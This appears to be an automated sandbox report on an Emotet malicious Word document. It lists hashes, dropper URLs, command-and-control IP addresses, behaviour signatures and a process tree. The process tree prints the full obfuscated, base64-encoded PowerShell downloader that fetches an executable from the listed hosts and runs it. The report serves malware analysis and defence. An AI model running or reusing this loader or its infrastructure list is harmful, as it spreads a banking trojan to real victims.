emotet | 38744d77a23730fa9e1cf2d522d54454cb590bb3af3b2c8de76f1c6ece672478

Analysis

max time kernel
136s
max time network
149s
platform
windows10_x64
resource
win10v200722
submitted
03/09/2020, 17:54

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Report Analysis Logs

General

Target
REP_331DY4UK7OFHX94R.doc
Size 186KB
Sample200903-dk5pvmajzs
SHA256 38744d77a23730fa9e1cf2d522d54454cb590bb3af3b2c8de76f1c6ece672478
MD5 8225151e81bc6e60365685de6b7ec212
SHA1 9fe109c71a8aa34448fe8972d3ae2797231f371f
SHA512 7419021f9534379c370c829423c75595ee725a6f6e444507c1f02dcea36f83dadcc0447ac016264104bb3c3fa29fdf71fb27ae1ad52a712e4bfe29d090b3b110
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://dvers.me/cgi-bin/s/
exe.dropper
http://fabregat.eu/images/q/
exe.dropper
http://ezola.fr/Accessoires/IKh/
exe.dropper
http://finewines.com.sg/wset-2-registration/6bsizM/
exe.dropper
http://fernsehservice-stara.de/cgi-bin/x/
exe.dropper
http://familienbande-ley.de/cgi-bin/tKX/
exe.dropper
http://ketisch.de/adina/G/

Extracted

Family

emotet

140.186.212.146:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
95.213.236.64:8080
176.111.60.55:8080
85.152.162.105:80
67.205.85.243:8080
173.81.218.65:80
5.196.74.210:8080
190.160.53.126:80
24.43.99.75:80
169.239.182.217:8080
47.144.21.12:443
89.205.113.80:80
112.185.64.233:80
216.208.76.186:80
121.124.124.40:7080
37.187.72.193:8080
87.106.136.232:8080
46.105.131.79:8080
137.59.187.107:8080
37.70.8.161:80
120.150.60.189:80
79.98.24.39:8080
200.114.213.233:8080
62.30.7.67:443
139.162.108.71:8080
189.212.199.126:443
74.120.55.163:80
85.242.155.127:80
187.161.206.24:80
203.153.216.189:7080
61.19.246.238:443
185.94.252.104:443
97.82.79.83:80
104.131.11.150:443
139.99.158.11:443
74.109.108.202:80
219.74.18.66:443
209.141.54.221:8080
194.187.133.160:443
107.5.122.110:80
98.109.204.230:80
94.23.237.171:443
94.200.114.161:80
37.139.21.175:8080
95.179.229.244:8080
68.188.112.97:80
152.168.248.128:443
188.219.31.12:80
24.137.76.62:80
139.59.60.244:8080
93.147.212.206:80
70.121.172.89:80
62.75.141.82:80
137.119.36.33:80
200.41.121.90:80
174.102.48.180:443
74.208.45.104:8080
157.245.99.39:8080
104.131.44.150:8080
172.91.208.86:80
109.74.5.95:8080
103.86.49.11:8080
41.60.200.34:80
1.221.254.82:80
203.117.253.142:80
79.137.83.50:443
91.211.88.52:7080
83.169.36.251:8080
174.45.13.118:80
85.105.205.77:8080
68.171.118.7:80
168.235.67.138:7080
139.130.242.43:80
87.106.139.101:8080
190.55.181.54:443
173.62.217.22:443
84.39.182.7:80
85.66.181.138:80
110.145.77.103:80
113.160.130.116:8443
47.146.117.214:80
5.39.91.110:7080
78.24.219.147:8080
174.137.65.18:80
75.139.38.211:80
180.92.239.110:8080
24.179.13.119:80
201.173.217.124:443
104.236.246.93:8080
153.232.188.106:80
50.81.3.113:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2384	3380	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2384	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2156	Mobwuo6.exe
1272	FirewallAPI.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\netjoin\FirewallAPI.exe	Mobwuo6.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 8e40b0ba1b82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3628	WINWORD.EXE
3628	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2384	powershell.exe
2384	powershell.exe
2384	powershell.exe
1272	FirewallAPI.exe
1272	FirewallAPI.exe
1272	FirewallAPI.exe
1272	FirewallAPI.exe
1272	FirewallAPI.exe
1272	FirewallAPI.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	636	svchost.exe
Token: SeCreatePagefilePrivilege	636	svchost.exe
Token: SeDebugPrivilege	2384	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
3628	WINWORD.EXE
2156	Mobwuo6.exe
1272	FirewallAPI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2156	2384	powershell.exe	75
PID 2384 wrote to memory of 2156	2384	powershell.exe	75
PID 2384 wrote to memory of 2156	2384	powershell.exe	75
PID 2156 wrote to memory of 1272	2156	Mobwuo6.exe	77
PID 2156 wrote to memory of 1272	2156	Mobwuo6.exe	77
PID 2156 wrote to memory of 1272	2156	Mobwuo6.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_331DY4UK7OFHX94R.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
  "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\netjoin\FirewallAPI.exe
    "C:\Windows\SysWOW64\netjoin\FirewallAPI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1272

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1272-19-0x0000000000690000-0x000000000069C000-memory.dmp

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memory/2156-16-0x00000000006D0000-0x00000000006DC000-memory.dmp

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memory/2384-10-0x00007FFEC1620000-0x00007FFEC200C000-memory.dmp

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memory/2384-11-0x0000025DCE900000-0x0000025DCE901000-memory.dmp

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memory/2384-12-0x0000025DCEAB0000-0x0000025DCEAB1000-memory.dmp

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memory/3628-8-0x000002793A3C6000-0x000002793A3CB000-memory.dmp

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memory/3628-9-0x000002793A3C6000-0x000002793A3CB000-memory.dmp

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memory/3628-0-0x00007FFEC8310000-0x00007FFEC89D6000-memory.dmp

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memory/3628-7-0x000002793A3C4000-0x000002793A3C6000-memory.dmp

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memory/3628-6-0x00000279380DB000-0x00000279380E4000-memory.dmp

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memory/3628-5-0x00000279380DB000-0x00000279380E4000-memory.dmp

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memory/3628-4-0x000002793A202000-0x000002793A205000-memory.dmp

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memory/3628-3-0x000002793A1FD000-0x000002793A202000-memory.dmp

Download

memory/3628-2-0x000002793A202000-0x000002793A205000-memory.dmp

Download

memory/3628-1-0x000002793A202000-0x000002793A205000-memory.dmp

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